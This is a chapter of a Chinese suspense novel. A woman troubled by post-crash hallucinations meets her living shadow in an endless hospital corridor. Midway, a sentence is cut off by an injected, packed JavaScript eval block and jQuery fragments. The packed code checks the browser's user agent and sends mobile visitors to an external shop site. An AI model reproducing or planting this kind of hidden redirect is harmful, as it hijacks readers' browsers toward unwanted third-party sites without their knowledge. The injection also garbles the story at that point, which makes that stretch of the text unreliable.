“砰”的一声巨响,数辆车撞在一起,眼前的景象被血糊住,汽油味弥漫,火光冲天。
时玥被那染红半边天的火光惊醒,猛地从床上坐起来,大口喘着气,全身骨头隐隐作痛。
窗外的阳光透过没拉严实的窗帘缝照进来,一束光线打在地板上。
时玥后背靠上床板,缓缓闭上眼。
又梦到了。
她揉着太阳穴,等不适感褪去,才踩上拖鞋,走向洗手间。
时玥叼着牙刷,满嘴泡沫,她看着镜子,镜中的自己黑发过肩,碎发散在脸颊边。
只是时玥现在嘴微张着刷牙。
而镜子里的自己嘴角上翘,视线注视着她。
“......"
这是第几次了?时玥有些数不清。
自从车祸出院之后,时玥被她爸妈安排接手家里集团旗下的分公司,生活逐渐被工作填满。
她隐隐察觉到这段时间里男朋友有些不对劲,消息回得越来越慢,商量订婚日期也推三阻四。
时玥本来想着,找个时间和他好好谈一下。
直到几天前,时玥在餐厅偶遇他坐在隔壁桌,嘴上叫着别人“宝宝”,还在说着过几天要和她坦白。
时玥扯起唇角,甩了几下手,水珠滴落,手背上还残留着前天砸碎镜子,被碎片划过留下的伤,痂在手背上微微发痒。
时玥打开卫生间的门,一只长毛蓝金渐层,腿短短的正站在地垫上,一双琥珀色的圆眼正盯着她——它是时玥出院那天,路过宠物店,它正隔着玻璃,冲着走在路边的她,一直“喵喵”地叫着,还用它那毛绒绒的身子蹭着玻璃。
时玥被它可爱到,二话没说走进店里把它买回家。
经历车祸的事,她希望以后都平平安安的,所以给它取名安安。
时玥蹲下来,去挠它的下巴,它往后躲一躲,时玥抓了个空。
她轻笑出声,指尖虚空点着它脑袋,“小没良心的。”
这几天安安也不知道怎么回事,一会蹭着她手心打呼噜往怀里钻,一会她伸手就躲,不懂跟谁学的变脸。
时玥没再多想,打了辆车前往医院。
——
“我最近经常能看见。”时玥看着眼前正在低头看检测单的白黎继续说:“一些幻觉?”
阳光照进来,空气里细碎的尘埃清晰可见。
白黎头也没抬问:“什么样的幻觉?能具体说说吗?”
“一开始是电脑里爬出不知道什么东西,然后是镜子里的我做着不一样的动作。之后我换了面镜子。”时玥顿了一下,“还是没变。”
白黎翻着检测单的手一顿,抬头打量了下时玥,“你最近是不是压力太大?脸色比上次还差。”
“最近被我爸妈安排到集团底下的分公司。”
白黎把检测单放下,“还是老问题,脑外伤没好利索,加上你车祸后的应激反应,现在感知有点紊乱。”
时玥没接话,空调冷风正好吹在后颈上,她微微皱眉,“所以我看见的那些都是幻觉吗?”
“从你的描述和检查结果看,你的大脑在处理视觉和听觉信号时出错,产生的幻觉非常逼真。加上车祸后的创伤应激,导致你对现实的判断力在下降。”
白黎把几张报告和处方单叠在一起递给她,“你现在分不清虚实,少接触利器,多注意安全。”
时玥接过单子,目光落到桌面上那支刚放下的笔,上面好像被光照到,亮过一道光。
手搭在门把手上,时玥推动的手一顿,回头问道:“你那支笔我能拿走吗?”
“抱歉,今天就剩这一只了。”白黎顿了顿,“等你下次来送你吧。”
时玥点点头,拿着单子,反手带上门。
走廊外消毒水比诊疗室内淡许多。
她分明记得电梯和诊疗室只有十几步路的距离,现在走了快一分钟,还没看见拐角处的电梯。
时玥皱起眉,站在原地等了一会。
又往前面走几步,还是一面白墙。
时玥回过头,走廊上来来往往的人都不见了,来路也在变长。
她叹口气,烦躁的情绪涌上来。
窗外的夕阳落下,天被染成橙红色,光透过窗户,打进来,落在时玥脸上。
光是挺暖的,但时玥是早上来的。
“啧。”
时玥甩了甩手腕,颇有点破罐子破摔的意思,“如果是有什么东西,就出来让我看看。”
四周还是一片寂静,她脱下高跟鞋,光着脚,踩在地上,冰凉的大理石瓷砖刺激着神经。
她解下手腕上的发圈,绑了一个马尾,从包里掏出一把最近备在包里以防万一的折叠水果刀。
在光线的照射下,时玥的影子渐渐变到跟前。
影子慢慢从地上鼓起来,薄薄一片,和时玥面对着面。
时玥咬住下唇,脚往后退半步。
眨眼间,影子已经和她分开。
她低头看了眼手上握着的水果刀,转身就跑。
每一步都踩在冰凉的地砖上,声音被拉得很长,空旷的走廊里回荡着“啪嗒啪嗒”的声响。
还有个声音混在她的脚步声里,比她慢半拍,不像是踩在硬地上,更像是某种湿软的东西,拖过光滑的表面。
时玥不知道自己跑了多少步,肺部的空气要被抽干。
走廊两边空空荡荡,连个拐角都没有,一直看不到尽头。
时玥往后瞥了一眼,一团黑漆漆的人形在她不远处,头跟着她一起微微后侧。
时玥的呼吸越来越重,喉咙里涌上一股铁锈味,从淡淡的一层变成厚厚一片,她咽了一口,带着血腥气。
时玥的骨头开始发疼,速度慢了下来,她微微侧头,身后的东西也跟着慢下来。
时玥心里的想法得到肯定。
她停下来,喘着气转过身,看着同样站在原地不动的黑漆漆的一团。
心跳还没完全平复,耳朵里嗡嗡的。脚下没站稳,向后仰去,那个人形跟着一起往后倒。
“......”
确认没有什么危险后,时玥倚在墙上缓了会儿,碎发散落在脸颊上,她用另一只手拢了一下别到耳后。
“时玥。”
她疑惑地往声音的方向望去,目光停在左边的墙面上。
时玥回过头,前面的影子,开始有了人形的弧度。
时玥僵在原地,脊背发凉,余光撇着左边的墙。
片刻后,她猛地往左边墙上撞去。
时玥整个人从白墙上穿过去,踉跄了几步,浓烈的消毒水味冲进鼻间。
她低下头,影子回到脚下,脚趾踩在冷地板上,小腿在抖,膝盖软了一下,往后跌坐在地上。
等呼吸逐渐喘匀,时玥才扶着墙站直,打量起四周。
布局和白黎的诊疗室几乎一模一样。
桌上的所有物品都像被抽走颜色,绿植是灰绿色的,办公桌上空空荡荡,电脑屏幕泛着冷光,连空气都带着一股消毒水的味道。
就连休息室也空空如也,那刚刚是谁在叫她?或者是幻听?
办公桌的抽屉开着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768176|209813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一条缝,里面露出一角纸。
时玥拉开抽屉,里面是一张诊断报告。
她把那沓不知道什么时候被她攥皱的诊断报告,抚平展开。
手僵硬地有点痛,她揉了几下,把两张报告并排放在桌面上。
字迹一样,内容一样,连右下角的空白处都一样。
时玥把两张拿起来对着光看了一遍,又放回去。
骨头的痛感还没消退,时玥忍着不适,抬头望向窗外的天。
依旧是暖黄色。
时玥听到墙外传来脚步声。
她转过头,刚刚穿过的那扇墙,变成了一道门。
外面脚步声停下,门把手正在缓缓转动。
门被推开,白黎站在门口,看见时玥,呆愣一瞬。
时玥和白黎同时开口:“你怎么在这?”
白黎打量着时玥,“这是我的办公室呀,又看到幻觉了?”
“嗯。”时玥应道。
“那我带你下去拿药?”
时玥点点头,跟在白黎身后,拿着水果刀的那只手紧绷着,悄悄把刀往身后藏。
再次出来,走廊已经恢复早上刚来时的样子,连外面的天都变回蓝色。
白黎在一扇门前停下,“我去给你拿双鞋。”
白黎打开门,时玥把水果刀放回包里,往里面看去,里面是更衣室,她看着白黎打开柜子,拿出双一次性拖鞋,走出来递给她。
“谢谢。”时玥弯腰穿上,重新绑上头发。
没走几步,就到电梯前。
电梯门打开,白黎先走进去,时玥犹豫几秒,才跟着进去。
电梯门合上,她站在白黎身后,盯着电梯镜面里两个人的倒影。
两个人来到取药窗口前,时玥额间的碎发和背后的衣服已经被浸出的冷汗沾湿。
她站在白黎身后,隔着一手臂的距离。
周遭除了工作人员和她们两个人,没有其他人,但时玥明明记得,在去诊疗室经过走廊时,有零零散散的人从她身边路过。
时玥慢慢往后退着,还没退几步,就被白黎叫住:“单子给她,开完药打车回去,别开车了,好好休息一下。”
时玥点点头,问道:“等下还有病人吗?中午一起去吃个饭?”
“不了,今天起太早,想回办公室睡会儿。”
时玥把单子递给白黎,“别和我爸妈讲,不然到时候她们又要担心。”
白黎接过单子,交给里面的工作人员,“放心吧,上学的第一课就是,作为心理医生未经患者同意,不能向家属透露病情。”
时玥没再说话,站在白黎身后。
窗口里的工作人员低头操作电脑,把药盒装进白色塑料袋,递给时玥。
“你现在脸色不是很好,要不要先把药吃了再回家?”白黎的声音在时玥身后响起。
时玥看了白黎一眼,从包装盒里拿出药。锡纸包装,被她一个个按开,倒在手心。
药片是白色的,椭圆形,中间有一道刻痕。
她盯着那一粒粒药,心里无端地升起一股抵触感。
时玥皱着眉,盯着药片,“回去吃可以吗?”
“可以,但你要叫朋友过来接你,不然我不放心你一个人走。”
时玥无奈地叹口气,走到大厅饮水机处,接了一杯温水,水温透过纸杯,温度传到她手上。
她把手伸到嘴边,猛地抬头,顺着水咽下。
时玥放下水杯,往医院的门口走去,站在感应器底下,没反应,又推了推旁边的玻璃门,没推动。